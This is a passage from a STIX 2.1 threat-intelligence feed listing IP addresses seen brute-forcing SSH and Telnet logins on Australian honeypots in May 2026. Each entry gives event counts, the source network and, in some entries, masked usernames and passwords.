      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 38841. Organisation(s): kbro CO. Ltd..",
      "id": "indicator--07d8ed93-c013-42e5-a2f8-f6266633cfb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.176.128.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 203835. Organisation(s): Sambatel Consulting SL.",
      "id": "indicator--f39b29e3-5f37-496e-9c39-20482f33b6a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.254.161.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SE. ASN(s): 12552. Organisation(s): GlobalConnect AB.",
      "id": "indicator--3aafc642-a63d-47e8-9edb-5ec1f58dad0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.132.138.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--efc53938-c36b-49d3-9298-24652b1f2c53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.79.146.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: PL. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--6478620e-04d8-40c4-bcdc-a5a02e3cd2d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '57.128.218.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: IT. ASN(s): 12552. Organisation(s): GlobalConnect AB.",
      "id": "indicator--e9dac137-3539-42aa-a55b-a065002ddaf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.140.108.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE.",
      "id": "indicator--fd748756-47b9-4179-b552-a76e43310c88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.184.248.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 25513. Organisation(s): PJSC Moscow city telephone network.",
      "id": "indicator--b47db8f7-517d-4c4f-b4cd-c7ca66e727bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.165.79.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:15:10.000Z",
      "valid_until": "2026-06-16T04:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--95931c25-0d5a-4322-ac94-d80a3d2972e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.205.244.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--ba44a256-a2aa-4c21-969f-c6c09819d4df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.107.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 194. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 9****2, **, a*******3.",
      "id": "indicator--8e9fa166-4816-4377-a8ce-e95c8ef1c4fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.244.200.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 142002. Organisation(s): Scloud Pte Ltd.",
      "id": "indicator--f045d997-4e04-481e-af38-342fbe4fc955",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.198.162.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--4f5dc13a-c388-4e35-b068-03f60fc05962",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.227.16.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 302. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, 3**********4, l***x, s**********c, d*********r. Passwords observed (masked): 3***********4, 3**********4, l******3, w******t, K********@.",
      "id": "indicator--4d3bf825-b11e-4f95-a7c1-cbaf998a6e21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.244.37.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--0c698a6c-eede-40c4-b423-4a318faeb28a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.172.113.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--c10910bc-75e0-4abb-b09d-ede9f1dd479a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.244.169.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 27831. Organisation(s): Colombia Movil. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--a803b630-0200-4d5f-9dc0-c140c308a893",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.205.14.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: TH. ASN(s): 4621. Organisation(s): Chulalongkorn University.",
      "id": "indicator--31c80008-58ac-4ff5-87c1-e37b7d516e46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.29.225.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MN. ASN(s): 10219. Organisation(s): Skymedia Corporation.",
      "id": "indicator--96493752-867b-4ac4-bfa4-3d9fe7898915",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.55.188.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1d8b6ce3-8390-4b91-8cbd-adc5c6625bcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396948. Organisation(s): Kamatera, Inc..",
      "id": "indicator--faa697c7-01a6-4643-8e2a-3d22c9ff10ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.182.218.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): m****r. Passwords observed (masked): m****r.",
      "id": "indicator--1b366697-ba76-420f-ae89-0c922d3c6971",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.78.63.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b58c4100-3bc4-4420-9921-321b2c155765",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.188.112.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--6ee50710-e3ee-4288-a3cb-8ffdb7e67823",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.126.40.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--17073c53-2684-4ccb-8ea1-2bf552590ac9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.16.212.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--c54c77e2-1890-4422-bcfc-5135be5b17f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 325. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 5769. Organisation(s): Videotron Ltee. Usernames observed (masked): r**t, 3**********4, s**********c, d*********r, p*****i. Passwords observed (masked): 3***********4, 3**********4, w******t, 2**6, 9****2.",
      "id": "indicator--95ad70ce-381c-4660-9aa9-7f83a5cacd34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.81.127.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--a6391cce-3463-47af-8805-da4faa6ed9f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.71.153.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 51407. Organisation(s): Mada Al-Arab General Services Company.",
      "id": "indicator--f4338a34-dcea-47ee-9b16-e223f241eab9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.184.35.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:15:11.000Z",
      "valid_until": "2026-06-16T05:15:08.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--dd29fe0a-b59b-4670-87a6-d77bce3752f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.57.248.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FI. ASN(s): 210546. Organisation(s): Chsl One Ltd.",
      "id": "indicator--3d71e218-c1ca-4b56-93b2-f2dd9c68ffff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.31.132.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--0606b29a-6c69-49f4-83dd-a39ee9f8b984",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.229.197.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 52765. Organisation(s): MAXXNET TELECOM. Usernames observed (masked): r**t, ***, 3**********4. Passwords observed (masked): 1**8, 3***********4, 3**********4, c******o, l*****************************8.",
      "id": "indicator--d080ede1-29fc-44f2-b105-5be0646871e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.39.120.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CO. ASN(s): 262191. Organisation(s): LIBERTY NETWORKS DE COLOMBIA S.A.S.",
      "id": "indicator--0735f725-bc3d-4a1e-bf84-26e19671fd45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.242.109.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 15085. Organisation(s): Immedion, LLC.",
      "id": "indicator--35fd1699-d2da-4dd8-ae12-6908293bf343",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.59.16.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:15:05.000Z",
      "valid_until": "2026-06-16T06:15:03.000Z"
    },
    {
      "created": "2026-05-15T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 360. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, l***x, s**********c, d*********r. Passwords observed (masked): 3***********4, 3**********4, l******3, w******t, L*******6.",
      "id": "indicator--6de64068-df60-422f-a122-1a77b03b2658",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.107.154']",
      "pattern_type": "stix",
